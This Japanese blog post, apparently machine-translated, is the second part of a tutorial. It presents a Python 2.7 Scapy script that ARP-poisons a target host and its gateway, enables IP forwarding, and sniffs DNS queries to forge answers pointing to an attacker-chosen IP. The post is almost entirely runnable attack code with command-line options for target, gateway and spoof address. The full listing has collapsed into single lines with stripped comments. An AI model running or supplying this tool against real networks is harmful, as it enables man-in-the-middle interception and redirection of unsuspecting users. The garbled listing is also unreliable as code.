python scapyはarp詐欺とDNS詐欺を実現する(二)


(環境:python 2.7.16+scapy 2.4.2)
python scapyがarp詐欺とDNS詐欺を実現することについて書いたことがある.
アドレス:python scapy ARP詐欺とDNS詐欺を実現
でも昨日使った時にdnsを発見しましたspoof関数が使えなくなりました(驚きました....)、仕方なく、dns欺瞞関数を自分で再DIYするしかありません.
コードのその他の部分は前の1篇の招待状と完全に一致して、その実現の構想について、自分で前の招待状を見てください、すべて先にARPを行ってだました後で、更にDNSを行ってだまして、変更の2か所があって、新しく1つのパラメータを追加して、DNSのだました偽造のIPとして、1つは自定義のDNS_Spoof関数:
def DNS_Spoof(data):
    if data.haslayer(DNS):
        try:
            #   dns  
            dns_data=data.getlayer(DNS)
            #   IP  
            ip_data=data.getlayer(IP)
            #  DNS AN  
            dns_an=DNSRR(rrname=data[DNS].qd.qname,rdata=jokers)
            #  IP/UDP   
            repdata=IP(src=data[IP].dst,dst=data[IP].src)/UDP(dport=data[IP].sport,sport=53)
            #  DNS   
            repdata/=DNS(id=data[DNS].id,qd=data[DNS].qd,qr=1,an=dns_an)
            #      
            print '
hancker ip :' + jokers + " url : "+data[DNS].qd.qname # send(repdata) except Exception as e: print 'dns spoof error :'+e.message sys.exit(1)

DNS_Spoof関数はsniff関数のprnパラメータとしてfilterを設定します.
def DNS_S(dns_ip,iface):
    global jokers
    jokers=dns_ip
    sniff(prn=DNS_Spoof,filter='udp dst port 53',iface=iface)

そしてDNS_S関数は新しいスレッドに設定して実行すればよい
完全なコード:
#_*_coding:utf-8_*_

import sys
import os
import threading
import signal
from scapy.all import *
from optparse import  OptionParser

def quit_fun(i,j):
    print ("
[+] !
") sys.exit() #DNS def DNS_Spoof(data): if data.haslayer(DNS): try: # DNS AN dns_an=DNSRR(rrname=data[DNS].qd.qname,rdata=jokers) # IP/UDP repdata=IP(src=data[IP].dst,dst=data[IP].src)/UDP(dport=data[IP].sport,sport=53) # DNS repdata/=DNS(id=data[DNS].id,qd=data[DNS].qd,qr=1,an=dns_an) # print ('
hancker ip :' + jokers + " url : "+data[DNS].qd.qname) # send(repdata) except Exception as e: print ('dns spoof error :'+e.message) sys.exit(1) #DNS def DNS_S(dns_ip,iface): global jokers jokers=dns_ip print ("DNS !") sniff(prn=DNS_Spoof,filter='udp dst port 53',iface=iface) #ARP def op(eths,mubiao_ip,Ps,gateway_ip): ip=mubiao_ip wifi=gateway_ip # MAC dst_Mac=str(getmacbyip(ip)) # mac self_Mac=str(get_if_hwaddr(eths)) # MAC wifi_Mac=str(getmacbyip(wifi)) # Ether_data=Ether(src=self_Mac,dst=dst_Mac)/ARP(op=2,hwsrc=self_Mac,psrc=wifi,hwdst=dst_Mac,pdst=ip) try: # ,sendp OSI sendp(Ether_data,inter=2,iface=eths,loop=1) except Exception as e: print(" ARP !") def wifi(eths,mubiao_ip,gateway_ip,Ps,dns_ip): ip=gateway_ip dst=mubiao_ip et = eths # IP MAC dst_Mac = getmacbyip(ip) # MAC self_Mac = get_if_hwaddr(et) Ether_data = None if Ps=="1": # ARP ,ARP MAC IP , ,ARP op ,2 ,1 Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc='12:1a:13:a3:13:ef', psrc=dst, hwdst=dst_Mac, pdst=ip) # , DNS t3 = threading.Thread(target=DNS_S, args=(dns_ip,eths)) t3.setDaemon(True) t3.start() if Ps == "0": # ARP , DNS , MAC , Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=dst, hwdst=dst_Mac, pdst=ip) if Ps!="1" and Ps!="0": print (Ps) print (type(Ps)) print ('-P !') sys.exit(1) try: sendp(Ether_data, inter=2,iface=et,loop=1) except Exception as e: print(" ARP !") def main(): signal.signal(signal.SIGINT,quit_fun) signal.signal(signal.SIGTERM,quit_fun) opx=OptionParser('Usage %prog[-i interface][-s adIP][-d GIP]') # opx.add_option('-i',dest='interface',help='NIC name') # IP opx.add_option('-t',dest='adIP', help='Target device IP') # IP opx.add_option('-g',dest='GIP', help='Gateway IP') # DNS ,0 ARP ,1 ARP DNS opx.add_option('-p',dest='DNS', help='Whether to open DNS spoofing (0 OFF, 1 ON)',default='1') # DNS IP opx.add_option('-d',dest='DNSip',help='DNS Spoof IP') (options,args)=opx.parse_args() if options.interface is None or options.adIP is None or options.GIP is None : opx.print_help() sys.exit(0) if options.DNS=="1" and options.DNSip==None: print (" DNS DNS IP!") opx.print_help() sys.exit(0) else: try: if os.geteuid()!=0: print ("[-] !") sys.exit(1) else: tail_0 = os.popen("sysctl -w net.ipv4.ip_forward=1") print ("ip :"+tail_0.read()) eth=options.interface mubiao=options.adIP gateway=options.GIP P=options.DNS dip=options.DNSip print (' ') t1=threading.Thread(target=op,args=(eth,mubiao,P,gateway)) t1.setDaemon(True) t1.start() t2=threading.Thread(target=wifi,args=(eth,mubiao,gateway,P,dip)) t2.setDaemon(True) t2.start() except Exception as e: print (e) sys.exit(1) while True: pass if __name__ == '__main__': main()

(httpプロトコルをサポートするWebサイトのみ)
もし不正な点があれば,指摘してください